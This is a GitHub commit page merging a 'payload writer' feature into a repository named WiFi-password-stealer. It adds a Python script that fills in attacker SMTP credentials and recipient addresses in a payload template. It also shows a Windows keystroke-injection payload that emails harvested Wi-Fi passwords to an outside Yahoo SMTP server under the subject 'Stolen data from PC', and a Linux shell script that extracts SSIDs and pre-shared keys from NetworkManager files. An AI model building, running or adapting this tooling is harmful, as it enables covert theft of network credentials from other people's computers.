Skip to content

Commit 25cf7c5

Browse files
authored
Merge pull request #2 from AleksaMCode/feat/payload-writer
Feat/payload writer
2 parents 2129330 + 446c2f6 commit 25cf7c5

File tree

4 files changed

+112
-5
lines changed

4 files changed

+112
-5
lines changed

README.md

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@
2222
- [Quick overview of the payload](#quick-overview-of-the-payload)
2323
- [Exfiltrated data formatting](#exfiltrated-data-formatting)
2424
- [USB Mass Storage Device Problem](#usb-mass-storage-device-problem)
25+
- [Payload Writer](#payload-writer)
2526
- [Limitations/Drawbacks](#limitationsdrawbacks)
2627
- [To-Do List](#to-do-list)
2728

@@ -114,10 +115,10 @@ https://github.com/AleksaMCode/WiFi-password-stealer/blob/a90ffb208e6a09d1b0ae44
114115
<p align="justify">In order to run the <a href="https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/scripts/wifi_passwords_print.sh"><code>wifi_passwords_print.sh</code></a> script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:</p>
115116

116117
```bash
117-
echo PASSWORD | sudo -S sh wifi_passwords_print.sh
118+
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK
118119
```
119120

120-
where `PASSWORD` is your account's password.
121+
where `PASSWORD` is your account's password and `USBSTICK` is the name for your USB device.
121122

122123
#### Quick overview of the payload
123124
<p align="justify"><b>NetworkManager</b> is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses <code>.ini-style</code> keyfile format and stores network configuration profiles. The <b>keyfile</b> is a plugin that supports all the connection types and capabilities that <b>NetworkManager</b> has. The files are located in <i>/etc/NetworkManager/system-connections/</i>. Based on the <b>keyfile</b> format, the payload uses the <code>grep</code> command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used (<code>(?<=keyword)</code>). While the positive lookbehind assertion will match at a certain position in the string, <a href="https://en.wikipedia.org/wiki/Viz.">sc.</a> at a position right after the <i>keyword</i> without making that text itself part of the match, the regex <code>(?<=keyword).*</code> will match any text after the <i>keyword</i>. This allows the payload to match the values after <b>SSID</b> and <b>psk</b> (<a href="https://en.wikipedia.org/wiki/Pre-shared_key">pre-shared key</a>) keywords.</p>
@@ -141,6 +142,13 @@ https://github.com/AleksaMCode/WiFi-password-stealer/blob/f5b3b11328764eb07d765a
141142
> <li>Don't solder the pins because you will probably want to change/update the payload at some point.</li>
142143
> </ul>
143144
145+
## Payload Writer
146+
<p align="justify">When creating a functioning payload file, you can use the <code>writer.py</code> script, or you can manually change the template file. In order to run the script successfully you will need to pass in addition to the script wile name, a name of the OS (<i>windows</i> or <i>linux</i>) and the name of the payload file (e.q. <i>payload.dd</i>). Below you can find an example how to run the script when creating a Windows payload.</p>
147+
148+
```bash
149+
python3 writer.py windows payload.dd
150+
```
151+
144152
## Limitations/Drawbacks
145153
<ul>
146154
<li><p align="justify"><s>This pico-ducky currently works only on Windows OS.</p></s></li>

payload/payload_windows.template.dd

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ STRING Format-Table -AutoSize
2828
ENTER
2929
STRING Out-File -FilePath .\wifi_pass.txt -InputObject $res -Encoding ASCII -Width 50
3030
ENTER
31-
STRING Send-MailMessage -To RECEIVER_EMAIL -from SENDER_EMAIL -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL, $(PASSWORD | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587
31+
STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587
3232
ENTER
3333
DELAY 500
3434
STRING Remove-Item .\wifi_pass.txt

payload/writer.py

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
import sys
2+
3+
ARGS = sys.argv[1:]
4+
SYSTEM_LIST = ["windows", "linux"]
5+
6+
7+
def windows_writer():
8+
payload = []
9+
try:
10+
payload = open(ARGS[1], 'r').readlines()
11+
SMTP_SERVER = "smtp.mail.yahoo.com"
12+
SMTP_PORT = 587
13+
EMAIL_SUBJECT = "Stolen data from PC"
14+
EMAIL_BODY = "Exploited data is stored in the attachment."
15+
16+
value = input(f"Select a SMTP server (default '{SMTP_SERVER}'): ")
17+
if value == "":
18+
value = SMTP_SERVER
19+
payload[30] = payload[30].replace("SMTP_SERVER", value)
20+
21+
value = input(f"Select a SMTP server port (default '{SMTP_PORT}'): ")
22+
if value == "":
23+
value = SMTP_PORT
24+
payload[30] = payload[30].replace("SMTP_PORT", value)
25+
26+
done = False
27+
while not done:
28+
value = input(f"Select a SMTP server password: ")
29+
if value != "":
30+
payload[30] = payload[30].replace("SMTP_PASSWORD", value)
31+
done = True
32+
33+
done = False
34+
while not done:
35+
value = input(f"Select a SMTP server email: ")
36+
if value != "":
37+
payload[30] = payload[30].replace("SENDER_EMAIL", value)
38+
done = True
39+
40+
done = False
41+
while not done:
42+
value = input(f"Select a receiver email: ")
43+
if value != "":
44+
payload[30] = payload[30].replace("RECEIVER_EMAIL", value)
45+
done = True
46+
47+
value = input(f"Select an email subject (default '{EMAIL_SUBJECT}'): ")
48+
if value == "":
49+
value = EMAIL_SUBJECT
50+
payload[30] = payload[30].replace("EMAIL_SUBJECT", value)
51+
52+
value = input(f"Select an email body (default '{EMAIL_BODY}'): ")
53+
if value == "":
54+
value = EMAIL_BODY
55+
payload[30] = payload[30].replace("EMAIL_BODY", value)
56+
except FileNotFoundError:
57+
exit(f"File '{ARGS[1]}' is missing.")
58+
59+
with open(ARGS[1], 'w') as f:
60+
for line in payload:
61+
f.write(line)
62+
63+
64+
def linux_writer():
65+
payload = []
66+
67+
try:
68+
payload = open(ARGS[1], 'r').readlines()
69+
70+
done = False
71+
while not done:
72+
value = input(f"Select you password: ")
73+
if value != "":
74+
payload[6] = payload[6].replace("PASSWORD", value)
75+
payload[8] = payload[8].replace("PASSWORD", value)
76+
done = True
77+
78+
done = False
79+
while not done:
80+
value = input(f"Select you USB stick name: ")
81+
if value != "":
82+
payload[2] = payload[2].replace("USBSTICK", value)
83+
payload[10] = payload[10].replace("USBSTICK", value)
84+
done = True
85+
except FileNotFoundError:
86+
exit(f"File '{ARGS[1]}' is missing.")
87+
88+
with open(ARGS[1], 'w') as f:
89+
for line in payload:
90+
f.write(line)
91+
92+
93+
if not ARGS or len(ARGS) != 2 or ARGS[0] not in SYSTEM_LIST:
94+
exit("Unknown system argument(s) used.")
95+
96+
if ARGS[0] == SYSTEM_LIST[0]:
97+
windows_writer()
98+
else:
99+
linux_writer()

scripts/wifi_passwords_print.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#!/bin/bash
2-
echo "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt
2+
echo "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/$1/wifi_pass.txt
33

44
for FILE in /etc/NetworkManager/system-connections/*
55
do
66
echo "$(cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(cat "$FILE" | grep -oP '(?<=psk=).*')"
7-
done >> /media/$(hostname)/USBSTICK/wifi_pass.txt
7+
done >> /media/$(hostname)/$1/wifi_pass.txt

0 commit comments

Comments
 (0)